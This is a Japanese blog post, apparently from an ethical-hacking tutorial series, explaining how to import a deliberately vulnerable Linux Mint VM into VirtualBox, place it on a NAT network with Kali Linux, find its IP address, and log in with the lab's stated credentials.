下記リンクより、Linux Mintovaファイルをダウンロードしてください。

drive.google.com

ダウンロードが完了したら、VirtualBoxを起動してインポートします。

「ファイル」→「仮想アプライアンスのインポート」を選択すると、下記の様な画面が出てきます。

仮想アプライアンスのインポート

先程ダウンロードしたovaファイルを選択して、下記画面で完了ボタンを押してください。

仮想アプライアンスの設定

しばらく待つと新しい仮想マシンが追加されているはずです。

Linux Mintを起動する前に、Kali LinuxLinux Mintを同じネットワークに設置しましょう。同じネットワークにいて初めて、お互いが通信することができます。

まずLinux Mintを選択して、設定を押し、ネットワークを下記画像と同じ設定に変更してください。(Linux Mintはインポートした時点で下記の設定になっているかもしれません。)

NatNetwork

Kali Linuxも同様の設定を行ってください。

ではLinux Mint(Vulnerable_Webapp)を起動しましょう。

Linux MintとKali Linuxは同じLinuxなので、基本的に同じように操作できます。

今回はローカルのIPアドレスを取得する方法を見てみましょう。

左下の黒いターミナルをクリックしてください。

Linux Mint

そして「ip a」というコマンドを実行してください。

コマンド結果の下記の赤い枠線部分がローカルのIPアドレスになります。

IPアドレス

このIPアドレスはWebアプリケーションのハッキングを行う際に必要になります。

ちなみにLinux Mintのクレデンシャルは下記になります。

ユーザーネーム:elliot

パスワード:elliot

Linux Mintを起動する際のログインは必要ありませんが、スリープ状態に入った際にはユーザーネームとパスワードにてログインしてください。

 

これで環境構築は終了になります。お疲れ様でした。

本記事を読んで疑問に思ったことがありましたら、コメントお待ちしております。(まずはGoogleしてみましょう。)

次の記事にて、Webアプリケーションのハッキングについて説明します。

learn-ethicalhacking.hatenablog.com